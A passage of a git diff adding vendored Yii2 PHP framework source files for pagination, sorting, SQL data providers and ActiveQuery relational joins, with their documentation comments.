$this->getPage() * $pageSize; + } + + /** + * @return integer the limit of the data. This may be used to set the + * LIMIT value for a SQL statement for fetching the current page of data. + * Note that if the page size is infinite, a value -1 will be returned. + */ + public function getLimit() + { + $pageSize = $this->getPageSize(); + + return $pageSize < 1 ? -1 : $pageSize; + } + + /** + * Returns a whole set of links for navigating to the first, last, next and previous pages. + * @param boolean $absolute whether the generated URLs should be absolute. + * @return array the links for navigational purpose. The array keys specify the purpose of the links (e.g. [[LINK_FIRST]]), + * and the array values are the corresponding URLs. + */ + public function getLinks($absolute = false) + { + $currentPage = $this->getPage(); + $pageCount = $this->getPageCount(); + $links = [ + Link::REL_SELF => $this->createUrl($currentPage, null, $absolute), + ]; + if ($currentPage > 0) { + $links[self::LINK_FIRST] = $this->createUrl(0, null, $absolute); + $links[self::LINK_PREV] = $this->createUrl($currentPage - 1, null, $absolute); + } + if ($currentPage < $pageCount - 1) { + $links[self::LINK_NEXT] = $this->createUrl($currentPage + 1, null, $absolute); + $links[self::LINK_LAST] = $this->createUrl($pageCount - 1, null, $absolute); + } + + return $links; + } + + /** + * Returns the value of the specified query parameter. + * This method returns the named parameter value from [[params]]. Null is returned if the value does not exist. + * @param string $name the parameter name + * @param string $defaultValue the value to be returned when the specified parameter does not exist in [[params]]. + * @return string the parameter value + */ + protected function getQueryParam($name, $defaultValue = null) + { + if (($params = $this->params) === null) { + $request = Yii::$app->getRequest(); + $params = $request instanceof Request ? $request->getQueryParams() : []; + } + + return isset($params[$name]) && is_scalar($params[$name]) ? $params[$name] : $defaultValue; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/data/Sort.php b/php/yii2/basic/vendor/yiisoft/yii2/data/Sort.php new file mode 100644 index 00000000..f8abac52 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/data/Sort.php @@ -0,0 +1,396 @@ + [ + * 'age', + * 'name' => [ + * 'asc' => ['first_name' => SORT_ASC, 'last_name' => SORT_ASC], + * 'desc' => ['first_name' => SORT_DESC, 'last_name' => SORT_DESC], + * 'default' => SORT_DESC, + * 'label' => 'Name', + * ], + * ], + * ]); + * + * $models = Article::find() + * ->where(['status' => 1]) + * ->orderBy($sort->orders) + * ->all(); + * + * return $this->render('index', [ + * 'models' => $models, + * 'sort' => $sort, + * ]); + * } + * ``` + * + * View: + * + * ```php + * // display links leading to sort actions + * echo $sort->link('name') . ' | ' . $sort->link('age'); + * + * foreach ($models as $model) { + * // display $model here + * } + * ``` + * + * In the above, we declare two [[attributes]] that support sorting: name and age. + * We pass the sort information to the Article query so that the query results are + * sorted by the orders specified by the Sort object. In the view, we show two hyperlinks + * that can lead to pages with the data sorted by the corresponding attributes. + * + * @property array $attributeOrders Sort directions indexed by attribute names. Sort direction can be either + * `SORT_ASC` for ascending order or `SORT_DESC` for descending order. This property is read-only. + * @property array $orders The columns (keys) and their corresponding sort directions (values). This can be + * passed to [[\yii\db\Query::orderBy()]] to construct a DB query. This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Sort extends Object +{ + /** + * @var boolean whether the sorting can be applied to multiple attributes simultaneously. + * Defaults to false, which means each time the data can only be sorted by one attribute. + */ + public $enableMultiSort = false; + /** + * @var array list of attributes that are allowed to be sorted. Its syntax can be + * described using the following example: + * + * ```php + * [ + * 'age', + * 'name' => [ + * 'asc' => ['first_name' => SORT_ASC, 'last_name' => SORT_ASC], + * 'desc' => ['first_name' => SORT_DESC, 'last_name' => SORT_DESC], + * 'default' => SORT_DESC, + * 'label' => 'Name', + * ], + * ] + * ``` + * + * In the above, two attributes are declared: "age" and "name". The "age" attribute is + * a simple attribute which is equivalent to the following: + * + * ```php + * 'age' => [ + * 'asc' => ['age' => SORT_ASC], + * 'desc' => ['age' => SORT_DESC], + * 'default' => SORT_ASC, + * 'label' => Inflector::camel2words('age'), + * ] + * ``` + * + * The "name" attribute is a composite attribute: + * + * - The "name" key represents the attribute name which will appear in the URLs leading + * to sort actions. + * - The "asc" and "desc" elements specify how to sort by the attribute in ascending + * and descending orders, respectively. Their values represent the actual columns and + * the directions by which the data should be sorted by. + * - The "default" element specifies by which direction the attribute should be sorted + * if it is not currently sorted (the default value is ascending order). + * - The "label" element specifies what label should be used when calling [[link()]] to create + * a sort link. If not set, [[Inflector::camel2words()]] will be called to get a label. + * Note that it will not be HTML-encoded. + * + * Note that if the Sort object is already created, you can only use the full format + * to configure every attribute. Each attribute must include these elements: `asc` and `desc`. + */ + public $attributes = []; + /** + * @var string the name of the parameter that specifies which attributes to be sorted + * in which direction. Defaults to 'sort'. + * @see params + */ + public $sortParam = 'sort'; + /** + * @var array the order that should be used when the current request does not specify any order. + * The array keys are attribute names and the array values are the corresponding sort directions. For example, + * + * ```php + * [ + * 'name' => SORT_ASC, + * 'created_at' => SORT_DESC, + * ] + * ``` + * + * @see attributeOrders + */ + public $defaultOrder; + /** + * @var string the route of the controller action for displaying the sorted contents. + * If not set, it means using the currently requested route. + */ + public $route; + /** + * @var string the character used to separate different attributes that need to be sorted by. + */ + public $separator = ','; + /** + * @var array parameters (name => value) that should be used to obtain the current sort directions + * and to create new sort URLs. If not set, $_GET will be used instead. + * + * In order to add hash to all links use `array_merge($_GET, ['#' => 'my-hash'])`. + * + * The array element indexed by [[sortParam]] is considered to be the current sort directions. + * If the element does not exist, the [[defaultOrder|default order]] will be used. + * + * @see sortParam + * @see defaultOrder + */ + public $params; + /** + * @var \yii\web\UrlManager the URL manager used for creating sort URLs. If not set, + * the "urlManager" application component will be used. + */ + public $urlManager; + + + /** + * Normalizes the [[attributes]] property. + */ + public function init() + { + $attributes = []; + foreach ($this->attributes as $name => $attribute) { + if (!is_array($attribute)) { + $attributes[$attribute] = [ + 'asc' => [$attribute => SORT_ASC], + 'desc' => [$attribute => SORT_DESC], + ]; + } elseif (!isset($attribute['asc'], $attribute['desc'])) { + $attributes[$name] = array_merge([ + 'asc' => [$name => SORT_ASC], + 'desc' => [$name => SORT_DESC], + ], $attribute); + } else { + $attributes[$name] = $attribute; + } + } + $this->attributes = $attributes; + } + + /** + * Returns the columns and their corresponding sort directions. + * @param boolean $recalculate whether to recalculate the sort directions + * @return array the columns (keys) and their corresponding sort directions (values). + * This can be passed to [[\yii\db\Query::orderBy()]] to construct a DB query. + */ + public function getOrders($recalculate = false) + { + $attributeOrders = $this->getAttributeOrders($recalculate); + $orders = []; + foreach ($attributeOrders as $attribute => $direction) { + $definition = $this->attributes[$attribute]; + $columns = $definition[$direction === SORT_ASC ? 'asc' : 'desc']; + foreach ($columns as $name => $dir) { + $orders[$name] = $dir; + } + } + + return $orders; + } + + /** + * @var array the currently requested sort order as computed by [[getAttributeOrders]]. + */ + private $_attributeOrders; + + /** + * Returns the currently requested sort information. + * @param boolean $recalculate whether to recalculate the sort directions + * @return array sort directions indexed by attribute names. + * Sort direction can be either `SORT_ASC` for ascending order or + * `SORT_DESC` for descending order. + */ + public function getAttributeOrders($recalculate = false) + { + if ($this->_attributeOrders === null || $recalculate) { + $this->_attributeOrders = []; + if (($params = $this->params) === null) { + $request = Yii::$app->getRequest(); + $params = $request instanceof Request ? $request->getQueryParams() : []; + } + if (isset($params[$this->sortParam]) && is_scalar($params[$this->sortParam])) { + $attributes = explode($this->separator, $params[$this->sortParam]); + foreach ($attributes as $attribute) { + $descending = false; + if (strncmp($attribute, '-', 1) === 0) { + $descending = true; + $attribute = substr($attribute, 1); + } + + if (isset($this->attributes[$attribute])) { + $this->_attributeOrders[$attribute] = $descending ? SORT_DESC : SORT_ASC; + if (!$this->enableMultiSort) { + return $this->_attributeOrders; + } + } + } + } + if (empty($this->_attributeOrders) && is_array($this->defaultOrder)) { + $this->_attributeOrders = $this->defaultOrder; + } + } + + return $this->_attributeOrders; + } + + /** + * Returns the sort direction of the specified attribute in the current request. + * @param string $attribute the attribute name + * @return boolean|null Sort direction of the attribute. Can be either `SORT_ASC` + * for ascending order or `SORT_DESC` for descending order. Null is returned + * if the attribute is invalid or does not need to be sorted. + */ + public function getAttributeOrder($attribute) + { + $orders = $this->getAttributeOrders(); + + return isset($orders[$attribute]) ? $orders[$attribute] : null; + } + + /** + * Generates a hyperlink that links to the sort action to sort by the specified attribute. + * Based on the sort direction, the CSS class of the generated hyperlink will be appended + * with "asc" or "desc". + * @param string $attribute the attribute name by which the data should be sorted by. + * @param array $options additional HTML attributes for the hyperlink tag. + * There is one special attribute `label` which will be used as the label of the hyperlink. + * If this is not set, the label defined in [[attributes]] will be used. + * If no label is defined, [[\yii\helpers\Inflector::camel2words()]] will be called to get a label. + * Note that it will not be HTML-encoded. + * @return string the generated hyperlink + * @throws InvalidConfigException if the attribute is unknown + */ + public function link($attribute, $options = []) + { + if (($direction = $this->getAttributeOrder($attribute)) !== null) { + $class = $direction === SORT_DESC ? 'desc' : 'asc'; + if (isset($options['class'])) { + $options['class'] .= ' ' . $class; + } else { + $options['class'] = $class; + } + } + + $url = $this->createUrl($attribute); + $options['data-sort'] = $this->createSortParam($attribute); + + if (isset($options['label'])) { + $label = $options['label']; + unset($options['label']); + } else { + if (isset($this->attributes[$attribute]['label'])) { + $label = $this->attributes[$attribute]['label']; + } else { + $label = Inflector::camel2words($attribute); + } + } + + return Html::a($label, $url, $options); + } + + /** + * Creates a URL for sorting the data by the specified attribute. + * This method will consider the current sorting status given by [[attributeOrders]]. + * For example, if the current page already sorts the data by the specified attribute in ascending order, + * then the URL created will lead to a page that sorts the data by the specified attribute in descending order. + * @param string $attribute the attribute name + * @param boolean $absolute whether to create an absolute URL. Defaults to `false`. + * @return string the URL for sorting. False if the attribute is invalid. + * @throws InvalidConfigException if the attribute is unknown + * @see attributeOrders + * @see params + */ + public function createUrl($attribute, $absolute = false) + { + if (($params = $this->params) === null) { + $request = Yii::$app->getRequest(); + $params = $request instanceof Request ? $request->getQueryParams() : []; + } + $params[$this->sortParam] = $this->createSortParam($attribute); + $params[0] = $this->route === null ? Yii::$app->controller->getRoute() : $this->route; + $urlManager = $this->urlManager === null ? Yii::$app->getUrlManager() : $this->urlManager; + if ($absolute) { + return $urlManager->createAbsoluteUrl($params); + } else { + return $urlManager->createUrl($params); + } + } + + /** + * Creates the sort variable for the specified attribute. + * The newly created sort variable can be used to create a URL that will lead to + * sorting by the specified attribute. + * @param string $attribute the attribute name + * @return string the value of the sort variable + * @throws InvalidConfigException if the specified attribute is not defined in [[attributes]] + */ + public function createSortParam($attribute) + { + if (!isset($this->attributes[$attribute])) { + throw new InvalidConfigException("Unknown attribute: $attribute"); + } + $definition = $this->attributes[$attribute]; + $directions = $this->getAttributeOrders(); + if (isset($directions[$attribute])) { + $direction = $directions[$attribute] === SORT_DESC ? SORT_ASC : SORT_DESC; + unset($directions[$attribute]); + } else { + $direction = isset($definition['default']) ? $definition['default'] : SORT_ASC; + } + + if ($this->enableMultiSort) { + $directions = array_merge([$attribute => $direction], $directions); + } else { + $directions = [$attribute => $direction]; + } + + $sorts = []; + foreach ($directions as $attribute => $direction) { + $sorts[] = $direction === SORT_DESC ? '-' . $attribute : $attribute; + } + + return implode($this->separator, $sorts); + } + + /** + * Returns a value indicating whether the sort definition supports sorting by the named attribute. + * @param string $name the attribute name + * @return boolean whether the sort definition supports sorting by the named attribute. + */ + public function hasAttribute($name) + { + return isset($this->attributes[$name]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/data/SqlDataProvider.php b/php/yii2/basic/vendor/yiisoft/yii2/data/SqlDataProvider.php new file mode 100644 index 00000000..9ed142c2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/data/SqlDataProvider.php @@ -0,0 +1,164 @@ +db->createCommand(' + * SELECT COUNT(*) FROM user WHERE status=:status + * ', [':status' => 1])->queryScalar(); + * + * $dataProvider = new SqlDataProvider([ + * 'sql' => 'SELECT * FROM user WHERE status=:status', + * 'params' => [':status' => 1], + * 'totalCount' => $count, + * 'sort' => [ + * 'attributes' => [ + * 'age', + * 'name' => [ + * 'asc' => ['first_name' => SORT_ASC, 'last_name' => SORT_ASC], + * 'desc' => ['first_name' => SORT_DESC, 'last_name' => SORT_DESC], + * 'default' => SORT_DESC, + * 'label' => 'Name', + * ], + * ], + * ], + * 'pagination' => [ + * 'pageSize' => 20, + * ], + * ]); + * + * // get the user records in the current page + * $models = $dataProvider->getModels(); + * ~~~ + * + * Note: if you want to use the pagination feature, you must configure the [[totalCount]] property + * to be the total number of rows (without pagination). And if you want to use the sorting feature, + * you must configure the [[sort]] property so that the provider knows which columns can be sorted. + * + * @author Qiang Xue + * @since 2.0 + */ +class SqlDataProvider extends BaseDataProvider +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + */ + public $db = 'db'; + /** + * @var string the SQL statement to be used for fetching data rows. + */ + public $sql; + /** + * @var array parameters (name=>value) to be bound to the SQL statement. + */ + public $params = []; + /** + * @var string|callable the column that is used as the key of the data models. + * This can be either a column name, or a callable that returns the key value of a given data model. + * + * If this is not set, the keys of the [[models]] array will be used. + */ + public $key; + + + /** + * Initializes the DB connection component. + * This method will initialize the [[db]] property to make sure it refers to a valid DB connection. + * @throws InvalidConfigException if [[db]] is invalid. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + if ($this->sql === null) { + throw new InvalidConfigException('The "sql" property must be set.'); + } + } + + /** + * @inheritdoc + */ + protected function prepareModels() + { + $sort = $this->getSort(); + $pagination = $this->getPagination(); + if ($pagination === false && $sort === false) { + return $this->db->createCommand($this->sql, $this->params)->queryAll(); + } + + $sql = $this->sql; + $orders = []; + $limit = $offset = null; + + if ($sort !== false) { + $orders = $sort->getOrders(); + $pattern = '/\s+order\s+by\s+([\w\s,\.]+)$/i'; + if (preg_match($pattern, $sql, $matches)) { + array_unshift($orders, new Expression($matches[1])); + $sql = preg_replace($pattern, '', $sql); + } + } + + if ($pagination !== false) { + $pagination->totalCount = $this->getTotalCount(); + $limit = $pagination->getLimit(); + $offset = $pagination->getOffset(); + } + + $sql = $this->db->getQueryBuilder()->buildOrderByAndLimit($sql, $orders, $limit, $offset); + + return $this->db->createCommand($sql, $this->params)->queryAll(); + } + + /** + * @inheritdoc + */ + protected function prepareKeys($models) + { + $keys = []; + if ($this->key !== null) { + foreach ($models as $model) { + if (is_string($this->key)) { + $keys[] = $model[$this->key]; + } else { + $keys[] = call_user_func($this->key, $model); + } + } + + return $keys; + } else { + return array_keys($models); + } + } + + /** + * @inheritdoc + */ + protected function prepareTotalCount() + { + return 0; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQuery.php b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQuery.php new file mode 100644 index 00000000..8f7f87ff --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQuery.php @@ -0,0 +1,694 @@ +with('orders')->asArray()->all(); + * ``` + * + * Relational query + * ---------------- + * + * In relational context ActiveQuery represents a relation between two Active Record classes. + * + * Relational ActiveQuery instances are usually created by calling [[ActiveRecord::hasOne()]] and + * [[ActiveRecord::hasMany()]]. An Active Record class declares a relation by defining + * a getter method which calls one of the above methods and returns the created ActiveQuery object. + * + * A relation is specified by [[link]] which represents the association between columns + * of different tables; and the multiplicity of the relation is indicated by [[multiple]]. + * + * If a relation involves a junction table, it may be specified by [[via()]] or [[viaTable()]] method. + * These methods may only be called in a relational context. Same is true for [[inverseOf()]], which + * marks a relation as inverse of another relation and [[onCondition()]] which adds a condition that + * is to be added to relational query join condition. + * + * @author Qiang Xue + * @author Carsten Brandt + * @since 2.0 + */ +class ActiveQuery extends Query implements ActiveQueryInterface +{ + use ActiveQueryTrait; + use ActiveRelationTrait; + + /** + * @event Event an event that is triggered when the query is initialized via [[init()]]. + */ + const EVENT_INIT = 'init'; + + /** + * @var string the SQL statement to be executed for retrieving AR records. + * This is set by [[ActiveRecord::findBySql()]]. + */ + public $sql; + /** + * @var string|array the join condition to be used when this query is used in a relational context. + * The condition will be used in the ON part when [[ActiveQuery::joinWith()]] is called. + * Otherwise, the condition will be used in the WHERE part of a query. + * Please refer to [[Query::where()]] on how to specify this parameter. + * @see onCondition() + */ + public $on; + /** + * @var array a list of relations that this query should be joined with + */ + public $joinWith; + + + /** + * Constructor. + * @param array $modelClass the model class associated with this query + * @param array $config configurations to be applied to the newly created query object + */ + public function __construct($modelClass, $config = []) + { + $this->modelClass = $modelClass; + parent::__construct($config); + } + + /** + * Initializes the object. + * This method is called at the end of the constructor. The default implementation will trigger + * an [[EVENT_INIT]] event. If you override this method, make sure you call the parent implementation at the end + * to ensure triggering of the event. + */ + public function init() + { + parent::init(); + $this->trigger(self::EVENT_INIT); + } + + /** + * Executes query and returns all results as an array. + * @param Connection $db the DB connection used to create the DB command. + * If null, the DB connection returned by [[modelClass]] will be used. + * @return array|ActiveRecord[] the query results. If the query results in nothing, an empty array will be returned. + */ + public function all($db = null) + { + return parent::all($db); + } + + /** + * @inheritdoc + */ + public function prepare($builder) + { + // NOTE: because the same ActiveQuery may be used to build different SQL statements + // (e.g. by ActiveDataProvider, one for count query, the other for row data query, + // it is important to make sure the same ActiveQuery can be used to build SQL statements + // multiple times. + if (!empty($this->joinWith)) { + $this->buildJoinWith(); + $this->joinWith = null; // clean it up to avoid issue https://github.com/yiisoft/yii2/issues/2687 + } + + if (empty($this->from)) { + /* @var $modelClass ActiveRecord */ + $modelClass = $this->modelClass; + $tableName = $modelClass::tableName(); + $this->from = [$tableName]; + } + + if (empty($this->select) && !empty($this->join)) { + foreach ((array)$this->from as $alias => $table) { + if (is_string($alias)) { + $this->select = ["$alias.*"]; + } elseif (is_string($table)) { + if (preg_match('/^(.*?)\s+({{\w+}}|\w+)$/', $table, $matches)) { + $alias = $matches[2]; + } else { + $alias = $table; + } + $this->select = ["$alias.*"]; + } + break; + } + } + + if ($this->primaryModel === null) { + // eager loading + $query = Query::create($this); + } else { + // lazy loading of a relation + $where = $this->where; + + if ($this->via instanceof self) { + // via junction table + $viaModels = $this->via->findJunctionRows([$this->primaryModel]); + $this->filterByModels($viaModels); + } elseif (is_array($this->via)) { + // via relation + /* @var $viaQuery ActiveQuery */ + list($viaName, $viaQuery) = $this->via; + if ($viaQuery->multiple) { + $viaModels = $viaQuery->all(); + $this->primaryModel->populateRelation($viaName, $viaModels); + } else { + $model = $viaQuery->one(); + $this->primaryModel->populateRelation($viaName, $model); + $viaModels = $model === null ? [] : [$model]; + } + $this->filterByModels($viaModels); + } else { + $this->filterByModels([$this->primaryModel]); + } + + $query = Query::create($this); + $this->where = $where; + } + + if (!empty($this->on)) { + $query->andWhere($this->on); + } + + return $query; + } + + /** + * @inheritdoc + */ + public function populate($rows) + { + if (empty($rows)) { + return []; + } + + $models = $this->createModels($rows); + if (!empty($this->join) && $this->indexBy === null) { + $models = $this->removeDuplicatedModels($models); + } + if (!empty($this->with)) { + $this->findWith($this->with, $models); + } + if (!$this->asArray) { + foreach ($models as $model) { + $model->afterFind(); + } + } + + return $models; + } + + /** + * Removes duplicated models by checking their primary key values. + * This method is mainly called when a join query is performed, which may cause duplicated rows being returned. + * @param array $models the models to be checked + * @return array the distinctive models + */ + private function removeDuplicatedModels($models) + { + $hash = []; + /* @var $class ActiveRecord */ + $class = $this->modelClass; + $pks = $class::primaryKey(); + + if (count($pks) > 1) { + foreach ($models as $i => $model) { + $key = []; + foreach ($pks as $pk) { + $key[] = $model[$pk]; + } + $key = serialize($key); + if (isset($hash[$key])) { + unset($models[$i]); + } else { + $hash[$key] = true; + } + } + } else { + $pk = reset($pks); + foreach ($models as $i => $model) { + $key = $model[$pk]; + if (isset($hash[$key])) { + unset($models[$i]); + } elseif ($key !== null) { + $hash[$key] = true; + } + } + } + + return array_values($models); + } + + /** + * Executes query and returns a single row of result. + * @param Connection $db the DB connection used to create the DB command. + * If null, the DB connection returned by [[modelClass]] will be used. + * @return ActiveRecord|array|null a single row of query result. Depending on the setting of [[asArray]], + * the query result may be either an array or an ActiveRecord object. Null will be returned + * if the query results in nothing. + */ + public function one($db = null) + { + $row = parent::one($db); + if ($row !== false) { + $models = $this->populate([$row]); + return reset($models) ?: null; + } else { + return null; + } + } + + /** + * Creates a DB command that can be used to execute this query. + * @param Connection $db the DB connection used to create the DB command. + * If null, the DB connection returned by [[modelClass]] will be used. + * @return Command the created DB command instance. + */ + public function createCommand($db = null) + { + /* @var $modelClass ActiveRecord */ + $modelClass = $this->modelClass; + if ($db === null) { + $db = $modelClass::getDb(); + } + + if ($this->sql === null) { + list ($sql, $params) = $db->getQueryBuilder()->build($this); + } else { + $sql = $this->sql; + $params = $this->params; + } + + return $db->createCommand($sql, $params); + } + + /** + * Joins with the specified relations. + * + * This method allows you to reuse existing relation definitions to perform JOIN queries. + * Based on the definition of the specified relation(s), the method will append one or multiple + * JOIN statements to the current query. + * + * If the `$eagerLoading` parameter is true, the method will also eager loading the specified relations, + * which is equivalent to calling [[with()]] using the specified relations. + * + * Note that because a JOIN query will be performed, you are responsible to disambiguate column names. + * + * This method differs from [[with()]] in that it will build up and execute a JOIN SQL statement + * for the primary table. And when `$eagerLoading` is true, it will call [[with()]] in addition with the specified relations. + * + * @param array $with the relations to be joined. Each array element represents a single relation. + * The array keys are relation names, and the array values are the corresponding anonymous functions that + * can be used to modify the relation queries on-the-fly. If a relation query does not need modification, + * you may use the relation name as the array value. Sub-relations can also be specified (see [[with()]]). + * For example, + * + * ```php + * // find all orders that contain books, and eager loading "books" + * Order::find()->joinWith('books', true, 'INNER JOIN')->all(); + * // find all orders, eager loading "books", and sort the orders and books by the book names. + * Order::find()->joinWith([ + * 'books' => function ($query) { + * $query->orderBy('item.name'); + * } + * ])->all(); + * ``` + * + * @param boolean|array $eagerLoading whether to eager load the relations specified in `$with`. + * When this is a boolean, it applies to all relations specified in `$with`. Use an array + * to explicitly list which relations in `$with` need to be eagerly loaded. + * @param string|array $joinType the join type of the relations specified in `$with`. + * When this is a string, it applies to all relations specified in `$with`. Use an array + * in the format of `relationName => joinType` to specify different join types for different relations. + * @return static the query object itself + */ + public function joinWith($with, $eagerLoading = true, $joinType = 'LEFT JOIN') + { + $this->joinWith[] = [(array) $with, $eagerLoading, $joinType]; + + return $this; + } + + private function buildJoinWith() + { + $join = $this->join; + $this->join = []; + + foreach ($this->joinWith as $config) { + list ($with, $eagerLoading, $joinType) = $config; + $this->joinWithRelations(new $this->modelClass, $with, $joinType); + + if (is_array($eagerLoading)) { + foreach ($with as $name => $callback) { + if (is_integer($name)) { + if (!in_array($callback, $eagerLoading, true)) { + unset($with[$name]); + } + } elseif (!in_array($name, $eagerLoading, true)) { + unset($with[$name]); + } + } + } elseif (!$eagerLoading) { + $with = []; + } + + $this->with($with); + } + + // remove duplicated joins added by joinWithRelations that may be added + // e.g. when joining a relation and a via relation at the same time + $uniqueJoins = []; + foreach ($this->join as $j) { + $uniqueJoins[serialize($j)] = $j; + } + $this->join = array_values($uniqueJoins); + + if (!empty($join)) { + // append explicit join to joinWith() + // https://github.com/yiisoft/yii2/issues/2880 + $this->join = empty($this->join) ? $join : array_merge($this->join, $join); + } + } + + /** + * Inner joins with the specified relations. + * This is a shortcut method to [[joinWith()]] with the join type set as "INNER JOIN". + * Please refer to [[joinWith()]] for detailed usage of this method. + * @param array $with the relations to be joined with + * @param boolean|array $eagerLoading whether to eager loading the relations + * @return static the query object itself + * @see joinWith() + */ + public function innerJoinWith($with, $eagerLoading = true) + { + return $this->joinWith($with, $eagerLoading, 'INNER JOIN'); + } + + /** + * Modifies the current query by adding join fragments based on the given relations. + * @param ActiveRecord $model the primary model + * @param array $with the relations to be joined + * @param string|array $joinType the join type + */ + private function joinWithRelations($model, $with, $joinType) + { + $relations = []; + + foreach ($with as $name => $callback) { + if (is_integer($name)) { + $name = $callback; + $callback = null; + } + + $primaryModel = $model; + $parent = $this; + $prefix = ''; + while (($pos = strpos($name, '.')) !== false) { + $childName = substr($name, $pos + 1); + $name = substr($name, 0, $pos); + $fullName = $prefix === '' ? $name : "$prefix.$name"; + if (!isset($relations[$fullName])) { + $relations[$fullName] = $relation = $primaryModel->getRelation($name); + $this->joinWithRelation($parent, $relation, $this->getJoinType($joinType, $fullName)); + } else { + $relation = $relations[$fullName]; + } + $primaryModel = new $relation->modelClass; + $parent = $relation; + $prefix = $fullName; + $name = $childName; + } + + $fullName = $prefix === '' ? $name : "$prefix.$name"; + if (!isset($relations[$fullName])) { + $relations[$fullName] = $relation = $primaryModel->getRelation($name); + if ($callback !== null) { + call_user_func($callback, $relation); + } + if (!empty($relation->joinWith)) { + $relation->buildJoinWith(); + } + $this->joinWithRelation($parent, $relation, $this->getJoinType($joinType, $fullName)); + } + } + } + + /** + * Returns the join type based on the given join type parameter and the relation name. + * @param string|array $joinType the given join type(s) + * @param string $name relation name + * @return string the real join type + */ + private function getJoinType($joinType, $name) + { + if (is_array($joinType) && isset($joinType[$name])) { + return $joinType[$name]; + } else { + return is_string($joinType) ? $joinType : 'INNER JOIN'; + } + } + + /** + * Returns the table name and the table alias for [[modelClass]]. + * @param ActiveQuery $query + * @return array the table name and the table alias. + */ + private function getQueryTableName($query) + { + if (empty($query->from)) { + /* @var $modelClass ActiveRecord */ + $modelClass = $query->modelClass; + $tableName = $modelClass::tableName(); + } else { + $tableName = ''; + foreach ($query->from as $alias => $tableName) { + if (is_string($alias)) { + return [$tableName, $alias]; + } else { + break; + } + } + } + + if (preg_match('/^(.*?)\s+({{\w+}}|\w+)$/', $tableName, $matches)) { + $alias = $matches[2]; + } else { + $alias = $tableName; + } + + return [$tableName, $alias]; + } + + /** + * Joins a parent query with a child query. + * The current query object will be modified accordingly. + * @param ActiveQuery $parent + * @param ActiveQuery $child + * @param string $joinType + */ + private function joinWithRelation($parent, $child, $joinType) + { + $via = $child->via; + $child->via = null; + if ($via instanceof ActiveQuery) { + // via table + $this->joinWithRelation($parent, $via, $joinType); + $this->joinWithRelation($via, $child, $joinType); + return; + } elseif (is_array($via)) { + // via relation + $this->joinWithRelation($parent, $via[1], $joinType); + $this->joinWithRelation($via[1], $child, $joinType); + return; + } + + list ($parentTable, $parentAlias) = $this->getQueryTableName($parent); + list ($childTable, $childAlias) = $this->getQueryTableName($child); + + if (!empty($child->link)) { + + if (strpos($parentAlias, '{{') === false) { + $parentAlias = '{{' . $parentAlias . '}}'; + } + if (strpos($childAlias, '{{') === false) { + $childAlias = '{{' . $childAlias . '}}'; + } + + $on = []; + foreach ($child->link as $childColumn => $parentColumn) { + $on[] = "$parentAlias.[[$parentColumn]] = $childAlias.[[$childColumn]]"; + } + $on = implode(' AND ', $on); + if (!empty($child->on)) { + $on = ['and', $on, $child->on]; + } + } else { + $on = $child->on; + } + $this->join($joinType, empty($child->from) ? $childTable : $child->from, $on); + + if (!empty($child->where)) { + $this->andWhere($child->where); + } + if (!empty($child->having)) { + $this->andHaving($child->having); + } + if (!empty($child->orderBy)) { + $this->addOrderBy($child->orderBy); + } + if (!empty($child->groupBy)) { + $this->addGroupBy($child->groupBy); + } + if (!empty($child->params)) { + $this->addParams($child->params); + } + if (!empty($child->join)) { + foreach ($child->join as $join) { + $this->join[] = $join; + } + } + if (!empty($child->union)) { + foreach ($child->union as $union) { + $this->union[] = $union; + } + } + } + + /** + * Sets the ON condition for a relational query. + * The condition will be used in the ON part when [[ActiveQuery::joinWith()]] is called. + * Otherwise, the condition will be used in the WHERE part of a query. + * + * Use this method to specify additional conditions when declaring a relation in the [[ActiveRecord]] class: + * + * ```php + * public function getActiveUsers() + * { + * return $this->hasMany(User::className(), ['id' => 'user_id'])->onCondition(['active' => true]); + * } + * ``` + * + * @param string|array $condition the ON condition. Please refer to [[Query::where()]] on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + */ + public function onCondition($condition, $params = []) + { + $this->on = $condition; + $this->addParams($params); + return $this; + } + + /** + * Adds an additional ON condition to the existing one. + * The new condition and the existing one will be joined using the 'AND' operator. + * @param string|array $condition the new ON condition. Please refer to [[where()]] + * on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see onCondition() + * @see orOnCondition() + */ + public function andOnCondition($condition, $params = []) + { + if ($this->on === null) { + $this->on = $condition; + } else { + $this->on = ['and', $this->on, $condition]; + } + $this->addParams($params); + return $this; + } + + /** + * Adds an additional ON condition to the existing one. + * The new condition and the existing one will be joined using the 'OR' operator. + * @param string|array $condition the new ON condition. Please refer to [[where()]] + * on how to specify this parameter. + * @param array $params the parameters (name => value) to be bound to the query. + * @return static the query object itself + * @see onCondition() + * @see andOnCondition() + */ + public function orOnCondition($condition, $params = []) + { + if ($this->on === null) { + $this->on = $condition; + } else { + $this->on = ['or', $this->on, $condition]; + } + $this->addParams($params); + return $this; + } + + /** + * Specifies the junction table for a relational query. + * + * Use this method to specify a junction table when declaring a relation in the [[ActiveRecord]] class: + * + * ```php + * public function getItems() + * { + * return $this->hasMany(Item::className(), ['id' => 'item_id']) + * ->viaTable('order_item', ['order_id' => 'id']); + * } + * ``` + * + * @param string $tableName the name of the junction table. + * @param array $link the link between the junction table and the table associated with [[primaryModel]]. + * The keys of the array represent the columns in the junction table, and the values represent the columns + * in the [[primaryModel]] table. + * @param callable $callable a PHP callback for customizing the relation associated with the junction table. + * Its signature should be `function($query)`, where `$query` is the query to be customized. + * @return static + * @see via() + */ + public function viaTable($tableName, $link, callable $callable = null) + { + $relation = new ActiveQuery(get_class($this->primaryModel), [ + 'from' => [$tableName], + 'link' => $link, + 'multiple' => true, + 'asArray' => true, + ]); + $this->via = $relation; + if ($callable !== null) { + call_user_func($callable, $relation); + } + + return $this; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQueryInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/db/ActiveQueryInterface.php new file mode 